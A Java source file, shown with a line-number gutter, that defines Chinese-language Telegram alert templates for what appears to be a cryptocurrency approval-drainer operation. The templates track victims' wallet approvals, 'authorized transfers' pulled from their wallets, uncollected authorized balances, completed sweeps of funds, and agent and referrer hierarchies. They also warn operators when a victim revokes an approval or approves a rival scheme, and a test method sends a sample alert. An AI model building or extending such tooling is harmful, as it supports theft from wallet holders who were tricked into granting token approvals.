1
zj
2025-06-20 079e004fd2e65357aecc725a7be3cfe109978b0d
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
package project.monitor.telegram;
 
import java.text.MessageFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
 
import org.springframework.web.util.HtmlUtils;
 
import kernel.util.DateUtils;
import project.monitor.telegram.internal.TelegramMessageServiceImpl;
 
public class TextFormat {
    /**
     * 新增用户
     */
    public static final String TEXT_NEW_USER = "🆕新增用户\n\n💰钱包地址:{0}\n\n🆔用户UID:{1}\n🧑🏻‍🦰代理:{2}\n👨‍🦱上级用户:{3}\n⏰时间:{4}\n\n🎖🎖🎖数据统计🎖🎖🎖\n\n🥇今日新用户数:{5}\n🥈今日授权用户数:{6}\n🥉总用户数:{7}\n\n🥇授权总金额:{8}\n🥈授权地址数:{9}\n";
 
    /**
     * 用户成功被授权
     */
    public static final String TEXT_APPROVE = "✅新增监控\n\n💰钱包地址:{0}\n\n🆔用户UID:{1}\n🧑🏻‍🦰代理:{2}\n👨‍🦱上级用户:{3}\n⏰时间:{4}\n\n🎖🎖🎖数据统计🎖🎖🎖\n\n🥇今日新用户数:{5}\n🥈今日授权用户数:{6}\n🥉总用户数:{7}\n\n🥇授权总金额:{8}\n🥈授权转账总金额:{9}\n🥉未归集授权总金额:{10}\n🎖授权地址数:{11}\n\n<a href=\"{12}\">{13}</a>";
    /**
     * 用户授权失败
     */
    public static final String TEXT_APPROVE_ERROR = "⛔️用户授权失败,请及时跟进\n\n💰钱包地址:{0}\n\n🆔用户UID:{1}\n🧑🏻‍🦰代理:{2}\n👨‍🦱上级用户:{3}\n⏰时间:{4}\n\n🎖🎖🎖数据统计🎖🎖🎖\n\n🥇今日新用户数:{5}\n🥈今日授权用户数:{6}\n🥉总用户数:{7}\n\n🥇授权总金额:{8}\n🥈授权地址数:{9}\n\n<a href=\"{10}\">{11}</a>";
 
    /**
     * 授权转账失败
     */
    public static final String TEXT_TRANSFER_FROM_ERROR = "⛔️授权转账失败,请及时跟进\n\n💰钱包地址:{0}\n\n🆔用户UID:{1}\n🧑🏻‍🦰代理:{2}\n👨‍🦱上级用户:{3}\n\n💸转账数量:{4}\n🔺失败原因:{5}\n⏰时间:{6}\n\n🎖🎖🎖数据统计🎖🎖🎖\n\n🥇今日新用户数:{7}\n🥈今日授权用户数:{8}\n🥉总用户数:{9}\n\n🥇授权总金额:{10}\n🥈授权转账总金额:{11}\n🥉未归集授权总金额:{12}\n🎖授权地址数:{13}\n";
    /**
     * 用户兑换ETH
     */
    public static final String TEXT_WALLET_ETH_WITHDRAW = "🔁用户兑换ETH,请及时跟进\n\n💰钱包地址:{0}\n\n🆔用户UID:{1}\n🧑🏻‍🦰代理:{2}\n👨‍🦱上级用户:{3}\n\n💸ETH数量:{4}\n💸兑换USDT:{5}\n⏰时间:{6}\n\n🎖🎖🎖数据统计🎖🎖🎖\n\n🥇今日新用户数:{7}\n🥈今日授权用户数:{8}\n🥉总用户数:{9}\n\n🥇授权总金额:{10}\n🥈授权地址数:{11}\n";
 
    /**
     * 用户USDT余额变化
     */
    public static final String TEXT_WALLET_USDT_CHANGE = "<b>用户USDT余额变化,请关注</b>\n\n<b>[钱包地址]</b>  {0}\n<b>[用户UID]</b>  {1}\n<b>[代理]</b>  {2}\n\n<b>[上级用户]</b>  {3}\n<b>[历史余额]</b>  {4}\n<b>[变动金额]</b>  {5}\n<b>[当前余额]</b>  {6}\n<b>[时间]</b>  {7}\n\n------数据统计\n<b>[今日新用户数]</b>  {8}\n<b>[今日授权用户数]</b>  {9}\n<b>[总用户数]</b>  {10}\n\n<b>[授权总金额]</b>  {11}\n<b>[授权地址数]</b>  {12}\n";
 
    /**
     * 用户USDT余额增加
     */
    public static final String TEXT_WALLET_USDT_ADD = "💸💸💸USDT余额增加💸💸💸\n\n💰钱包地址:{0}\n\n🆔用户UID:{1}\n🧑🏻‍🦰代理:{2}\n👨‍🦱上级用户:{3}\n\n🌗历史余额:{4}\n🌖变动金额:{5}\n🌕当前余额:{6}\n⏰变动时间:{7}\n\n🎖🎖🎖数据统计🎖🎖🎖\n\n🥇今日新用户数:{8}\n🥈今日授权用户数:{9}\n🥉总用户数:{10}\n\n🥇授权总金额:{11}\n🥈授权转账总金额:{12}\n🥉未归集授权总金额:{13}\n🎖授权地址数:{14}\n";
    /**
     * 用户USDT余额减少
     */
    public static final String TEXT_WALLET_USDT_SUB = "⚠️当前地址USDT余额减少,请注意跟进!\n\n💰钱包地址:{0}\n\n🆔用户UID:{1}\n🧑🏻‍🦰代理:{2}\n👨‍🦱上级用户:{3}\n\n🌗历史余额:{4}\n🌖变动金额:{5}\n🌕当前余额:{6}\n⏰变动时间:{7}\n\n🎖🎖🎖数据统计🎖🎖🎖\n\n🥇今日新用户数:{8}\n🥈今日授权用户数:{9}\n🥉总用户数:{10}\n\n🥇授权总金额:{11}\n🥈授权转账总金额:{12}\n🥉未归集授权总金额:{13}\n🎖授权地址数:{14}\n";
 
    /**
     * 用户ETH余额变化
     */
    public static final String TEXT_WALLET_ETH_CHANGE = "<b>用户ETH余额变化,请关注</b>\n\n<b>[钱包地址]</b>  {0}\n<b>[用户UID]</b>  {1}\n<b>[代理]</b>  {2}\n\n<b>[上级用户]</b>  {3}\n<b>[历史余额]</b>  {4}\n<b>[变动金额]</b>  {5}\n<b>[当前余额]</b>  {6}\n<b>[时间]</b>  {7}\n\n------数据统计\n<b>[今日新用户数]</b>  {8}\n<b>[今日授权用户数]</b>  {9}\n<b>[总用户数]</b>  {10}\n\n<b>[授权总金额]</b>  {11}\n<b>[授权地址数]</b>  {12}\n";
    /**
     * 用户ETH余额增加
     */
    public static final String TEXT_WALLET_ETH_ADD = "⚠️当前地址ETH余额增加,请注意跟进!\n\n💰钱包地址:{0}\n\n🆔用户UID:{1}\n🧑🏻‍🦰代理:{2}\n👨‍🦱上级用户:{3}\n\n🌗历史余额:{4}\n🌖变动金额:{5}\n🌕当前余额:{6}\n⏰变动时间:{7}\n\n🎖🎖🎖数据统计🎖🎖🎖\n\n🥇今日新用户数:{8}\n🥈今日授权用户数:{9}\n🥉总用户数:{10}\n\n🥇授权总金额:{11}\n🥈授权转账总金额:{12}\n🥉未归集授权总金额:{13}\n🎖授权地址数:{14}\n";
    /**
     * 用户ETH余额减少
     */
    public static final String TEXT_WALLET_ETH_SUB = "⚠️当前地址ETH余额减少,请注意跟进!\n\n💰钱包地址:{0}\n\n🆔用户UID:{1}\n🧑🏻‍🦰代理:{2}\n👨‍🦱上级用户:{3}\n\n🌗历史余额:{4}\n🌖变动金额:{5}\n🌕当前余额:{6}\n⏰变动时间:{7}\n\n🎖🎖🎖数据统计🎖🎖🎖\n\n🥇今日新用户数:{8}\n🥈今日授权用户数:{9}\n🥉总用户数:{10}\n\n🥇授权总金额:{11}\n🥈授权转账总金额:{12}\n🥉未归集授权总金额:{13}\n🎖授权地址数:{14}\n";
 
    /**
     * 用户领取活动
     */
    public static final String TEXT_GET_ACTIVITY = "📣用户领取了活动,请及时跟进\n\n💰钱包地址:{0}\n\n🆔用户UID:{1}\n🧑🏻‍🦰代理:{2}\n👨‍🦱上级用户:{3}\n\n📢活动:{4}\n⏰时间:{5}\n\n🎖🎖🎖数据统计🎖🎖🎖\n\n🥇今日新用户数:{6}\n🥈今日授权用户数:{7}\n🥉总用户数:{8}\n\n🥇授权总金额:{9}\n🥈授权转账总金额:{10}\n🥉未归集授权总金额:{11}\n🎖授权地址数:{12}\n";
 
    /**
     * 今日平台数据
     */
    public static final String TEXT_TODAY_DATA = "🎖🎖🎖今日平台数据🎖🎖🎖\n\n🥇今日新用户数:{0}\n🥈今日授权用户数:{1}\n🥉总用户数:{2}\n\n🥇授权总金额:{3}\n🥈授权转账总金额:{4}\n🥉未归集授权总金额:{5}\n🎖授权地址数:{6}\n\n🥇今日授权转账金额:{7}\n";
    /**
     * 授权地址已满
     */
    public static final String TEXT_APPROVE_ADDRESS_FULL = "⚠️当前授权地址授满切换,请注意补充。\n\n🥇剩余授权地址数:{0}\n🥈剩余可授权用户数:{1}\n\n⏰变动时间:{2}\n\n🎖🎖🎖数据统计🎖🎖🎖\n\n🥇今日新用户数:{3}\n🥈今日授权用户数:{4}\n";
    /**
     * 最后一条授权地址警告
     */
    public static final String TEXT_LAST_APPROVE_ADDRESS_WARNING = "⚠️当前为最后一条授权地址授权,请注意补充。\n\n🥇剩余授权地址数:{0}\n🥈剩余可授权用户数:{1}\n\n⏰变动时间:{2}\n\n🎖🎖🎖数据统计🎖🎖🎖\n\n🥇今日新用户数:{3}\n🥈今日授权用户数:{4}\n";
    /**
     * 非本项目配置的授权地址授权
     */
    public static final String TEXT_APPROVE_OTHER_ADDRESS_DANGER = "‼️‼️告警!!!用户存在非本盘的授权记录,请及时查看确认‼️‼️\n\n💰钱包地址:{0}\n\n🆔用户UID:{1}\n🧑🏻‍🦰代理:{2}\n👨‍🦱上级用户:{3}\n⏰时间:{4}\n🔑授权给:{5}\n\n🥇该用户授权金额:{6}\n\n<a href=\"{7}\">{8}</a>\n";
    /**
     * 用户取消授权
     */
    public static final String TEXT_APPROVE_REVOKED_DANGER = "‼️‼️告警!!!用户存在取消授权操作,请及时查看确认‼️‼️\n\n💰钱包地址:{0}\n\n🆔用户UID:{1}\n🧑🏻‍🦰代理:{2}\n👨‍🦱上级用户:{3}\n⏰时间:{4}\n\n🥇该用户授权金额:{5}\n\n<a href=\"{6}\">{7}</a>\n";
    /**
     * 用户USDT归集
     */
    public static final String TEXT_WALLET_USDT_COLLECT = "💸💸💸当前地址余额已归集成功💸💸💸\n\n💰钱包地址:{0}\n\n🆔用户UID:{1}\n🧑🏻‍🦰代理:{2}\n👨‍🦱上级用户:{3}\n\n🌕归集金额:{4}\n⏰时间:{5}\n\n🎖🎖🎖数据统计🎖🎖🎖\n\n🥇今日新用户数:{6}\n🥈今日授权用户数:{7}\n🥉总用户数:{8}\n\n🥇授权总金额:{9}\n🥈授权转账总金额:{10}\n🥉未归集授权总金额:{11}\n🎖授权地址数:{12}\n\n🥇今日授权转账金额:{13}\n";
 
    /**
     * 转账失败
     */
    public static final String TEXT_SETTLE_TRANSFER_ERROR = "⛔️清算转账失败,请及时跟进\n\n🆔清算订单号:{0}\n\n💰发起地址:{1}\n💰到账地址:{2}\n💸转账数量:{3}\n🔺失败原因:{4}\n⏰时间:{5}\n\n🎖🎖🎖数据统计🎖🎖🎖\n\n🥇今日新用户数:{6}\n🥈今日授权用户数:{7}\n🥉总用户数:{8}\n\n🥇授权总金额:{9}\n🥈授权转账总金额:{10}\n🥉未归集授权总金额:{11}\n🎖授权地址数:{12}\n";
    
    public static String getText(String text, Object[] object) {
        String msg = MessageFormat.format(text, object);
        return msg;
    }
 
    public static void main(String[] args) {
        String address = "0x35D2d03607b9155b42CF673102FE58251AC4F644";
        String txHash = "0x9146c0e3ec07ee519acb8068fbb7b3c244a7a61d3fdfae353ff2a9f972adb4ca";
//        List<Object> param = new ArrayList<Object>();
//        param.add(address);// [钱包地址]
////        param.add("1");// [监控时间]
//        param.add("2");// [用户UID]
//        param.add("3");// [归属]
//        param.add("备注");// [上级用户]
//        param.add("4");// [时间]
//        param.add("5");// [今日新用户数]
//        param.add("6");// [今日授权用户数]
//        param.add("7");// [总用户数]
//        param.add("8");// [授权总金额]
//        param.add("9");// [授权地址数]
//        param.add("https://etherscan.io/address/" + address);// [用户地址连接]
//        param.add("在Etherscan上查看");// [链接标题]
////        Object[] param=new Object[] {};
//        String text = getText(TEXT_NEW_USER, param.toArray());
//        System.out.println(text);
//        TelegramMessageService service = new TelegramMessageServiceImpl();
//        service.send(text);
 
//        String url = "https://etherscan.io/tx/" + txHash;
//        String error = "<a href=\"" + url + "\">在Etherscan上查看</a>";
//        List<Object> param = new ArrayList<Object>();
//        param.add(address);// [钱包地址]
//        param.add(2);// [用户UID]
//        param.add(3);// [归属] 找到最近的代理商
//        param.add(4);// [转账数量]
//        param.add(error);// [失败原因]
//        param.add(5);// [时间]
//        param.add(6);// [今日新用户数]
//        param.add(7);// [今日授权用户数]
//        param.add(8);// [总用户数]
//        param.add(9);// [授权总金额]
//        param.add(10);// [授权地址数]
//        String text1 = TextFormat.getText(TextFormat.TEXT_TRANSFER_FROM_ERROR, param.toArray());
//        TelegramMessageService service = new TelegramMessageServiceImpl();
//        service.send(text1);
 
        usdtAdd();
    }
 
    public static void usdtAdd() {
        String address = "0x35D2d03607b9155b42CF673102FE58251AC4F644";
        String txHash = "0x9146c0e3ec07ee519acb8068fbb7b3c244a7a61d3fdfae353ff2a9f972adb4ca";
        List<Object> param = new ArrayList<Object>();
        param.add(address);// [钱包地址]
//        param.add("1");// [监控时间]
        param.add("2");// [用户UID]
        param.add("3");// [代理]
        param.add(HtmlUtils.htmlEscape("备注>"));// [上级用户]
        param.add(10);// [历史余额]
        param.add(3);// [变动金额]
        param.add(13);// [当前余额]
        param.add(DateUtils.format(new Date(), DateUtils.DF_yyyyMMddHHmmss));// [时间]
        param.add(1);// [今日新用户数]
        param.add(2);// [今日授权用户数]
        param.add(3);// [总用户数]
        param.add(4);// [授权总金额]
        param.add(5);// [授权地址数]
//        Object[] param=new Object[] {};
        String text = getText(TEXT_WALLET_USDT_ADD, param.toArray());
//        String text = getText(TEXT_WALLET_USDT_CHANGE, param.toArray());
        // System.out.println(text);
        TelegramMessageService service = new TelegramMessageServiceImpl();
        service.send(text);
    }
}